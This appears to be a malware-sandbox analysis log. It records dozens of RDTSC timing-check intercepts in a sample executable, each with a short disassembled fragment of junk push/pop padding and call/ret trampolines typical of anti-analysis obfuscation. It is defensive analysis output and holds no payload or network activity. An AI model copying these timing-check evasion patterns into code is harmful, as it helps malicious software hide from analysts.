Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD256C second address: DD25A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9724BF79BFh 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F9724BF79B6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push esi 0x00000014 pushad 0x00000015 popad 0x00000016 pop esi 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a jbe 00007F9724BF79BEh 0x00000020 push eax 0x00000021 push edx 0x00000022 jc 00007F9724BF79B6h 0x00000028 push eax 0x00000029 pop eax 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0F18 second address: DD0F1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91B1C second address: D91B22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91B22 second address: D91B26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91B26 second address: D91B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 331D4135h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F9724BF79B8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov ecx, dword ptr [ebp+122D1882h] 0x0000002f call 00007F9724BF79B9h 0x00000034 pushad 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91B6D second address: D91B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91B73 second address: D91B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91B7C second address: D91B8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91B8A second address: D91B9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91B9C second address: D91BAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9724523DCBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91BAB second address: D91BE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F9724BF79C3h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push edi 0x00000014 jmp 00007F9724BF79BAh 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91BE1 second address: D91BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91BE5 second address: D91BE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91F70 second address: D91F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91F76 second address: D91FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 nop 0x00000007 jno 00007F9724BF79BCh 0x0000000d push 00000004h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F9724BF79B8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 jns 00007F9724BF79C0h 0x0000002f nop 0x00000030 jo 00007F9724BF79C0h 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9262A second address: D92694 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9724523DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F9724523DC8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 lea eax, dword ptr [ebp+124811C2h] 0x0000002c sub edi, dword ptr [ebp+122D28BEh] 0x00000032 nop 0x00000033 pushad 0x00000034 pushad 0x00000035 jmp 00007F9724523DCFh 0x0000003a jnc 00007F9724523DC6h 0x00000040 popad 0x00000041 pushad 0x00000042 ja 00007F9724523DC6h 0x00000048 jnc 00007F9724523DC6h 0x0000004e popad 0x0000004f popad 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jnl 00007F9724523DC8h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD661F second address: DD6625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD6625 second address: DD6648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9724523DC6h 0x0000000a jmp 00007F9724523DCCh 0x0000000f popad 0x00000010 jmp 00007F9724523DCCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD67D2 second address: DD67F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9724BF79BCh 0x00000008 jmp 00007F9724BF79BDh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD6947 second address: DD694D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD694D second address: DD695D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jg 00007F9724BF79B6h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD6ACB second address: DD6AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9724523DCFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9FA5 second address: DD9FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0714 second address: DE071F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F9724523DC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE25CE second address: DE25D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE25D2 second address: DE25D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE2782 second address: DE2786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE2786 second address: DE278C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB07D second address: DEB083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB083 second address: DEB087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB087 second address: DEB08D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB08D second address: DEB0A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9724523DCCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB0A1 second address: DEB0D0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 ja 00007F9724BF79B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d ja 00007F9724BF79B8h 0x00000013 push edx 0x00000014 jmp 00007F9724BF79C5h 0x00000019 pop edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEA717 second address: DEA71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEA71D second address: DEA735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F9724BF79C1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEA735 second address: DEA740 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F9724523DC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEA740 second address: DEA753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9724BF79B6h 0x0000000a popad 0x0000000b jc 00007F9724BF79BCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEAA7A second address: DEAA7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEAA7F second address: DEAABB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9724BF79CAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F9724BF79BDh 0x00000011 jmp 00007F9724BF79BDh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEAABB second address: DEAAD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9724523DCEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEADA7 second address: DEADBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9724BF79B6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F9724BF79B6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEADBE second address: DEADC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEADC2 second address: DEADCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF18AE second address: DF18B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0428 second address: DF0440 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9724BF79C2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0440 second address: DF0456 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9724523DCFh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0456 second address: DF045E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9216D second address: D92178 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F9724523DC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92178 second address: D9219F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F9724BF79BAh 0x0000000f push 00000004h 0x00000011 sbb edx, 52612D81h 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a jns 00007F9724BF79B8h 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9219F second address: D921A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D921A4 second address: D921B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jns 00007F9724BF79C0h 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0A07 second address: DF0A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0A0D second address: DF0A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF15D6 second address: DF15EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9724523DD1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF15EE second address: DF1614 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F9724BF79BEh 0x0000000f pushad 0x00000010 popad 0x00000011 js 00007F9724BF79B6h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push esi 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5132 second address: DF5148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jc 00007F9724523DC8h 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e jp 00007F9724523DC6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5291 second address: DF52D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f jmp 00007F9724BF79BFh 0x00000014 jmp 00007F9724BF79BCh 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F9724BF79C3h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jc 00007F9724BF79B6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF52D9 second address: DF52EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d ja 00007F9724523DC6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF52EC second address: DF52F6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF544F second address: DF5453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFCD86 second address: DFCD91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9724BF79B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFCD91 second address: DFCD96 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFAF62 second address: DFAF6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB0D1 second address: DFB0E0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 je 00007F9724523DC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBBDF second address: DFBBE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBBE3 second address: DFBBE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBEA7 second address: DFBEAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBEAB second address: DFBED9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724523DD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9724523DD3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC1BA second address: DFC1C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC78B second address: DFC7B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724523DD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9724523DD2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFCA89 second address: DFCAA0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9724BF79B6h 0x00000008 js 00007F9724BF79B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFCAA0 second address: DFCAAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9724523DC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0610B second address: E0611A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 jg 00007F9724BF79B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0611A second address: E0613E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9724523DD7h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0613E second address: E06156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9724BF79C1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E053FE second address: E0540B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 je 00007F9724523DD2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0540B second address: E05411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05870 second address: E058A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724523DD0h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9724523DCAh 0x0000000e jmp 00007F9724523DD5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05A1C second address: E05A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05CE1 second address: E05CE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05CE5 second address: E05CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05CF2 second address: E05CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05E7A second address: E05EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9724BF79C5h 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007F9724BF79B6h 0x00000013 pop edx 0x00000014 pushad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 jng 00007F9724BF79B6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10BAB second address: E10BAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10BAF second address: E10BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9724BF79BEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10BC3 second address: E10BC8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10BC8 second address: E10BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F9724BF79BBh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007F9724BF79B6h 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10BE9 second address: E10BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E10BEF second address: E10BF5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0EE6C second address: E0EE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F6A6 second address: E0F6D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F9724BF79C8h 0x00000012 jmp 00007F9724BF79BCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
